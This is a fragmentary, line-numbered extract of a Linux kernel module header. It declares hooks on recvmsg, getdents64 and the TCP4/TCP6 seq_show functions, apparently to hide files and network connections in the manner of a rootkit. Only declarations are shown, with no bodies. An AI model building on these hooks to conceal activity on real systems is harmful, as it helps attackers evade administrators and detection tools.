7#include <linux/inet_diag.h>
8#include <linux/kernel.h>
11#include <linux/netlink.h>
12#include <linux/ptrace.h>
13#include <linux/seq_file.h>
14#include <linux/slab.h>
15#include <linux/sock_diag.h>
16#include <linux/socket.h>
17#include <linux/spinlock.h>
18#include <linux/string.h>
19#include <linux/types.h>
20#include <linux/uaccess.h>
21#include <net/inet_sock.h>
34extern asmlinkage long (*
__orig_recvmsg)(
const struct pt_regs *regs);
39asmlinkage
long notrace
recvmsg_hook(
const struct pt_regs *regs);
asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs)
asmlinkage int notrace getdents64_hook(const struct pt_regs *regs)
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v)
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v)
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)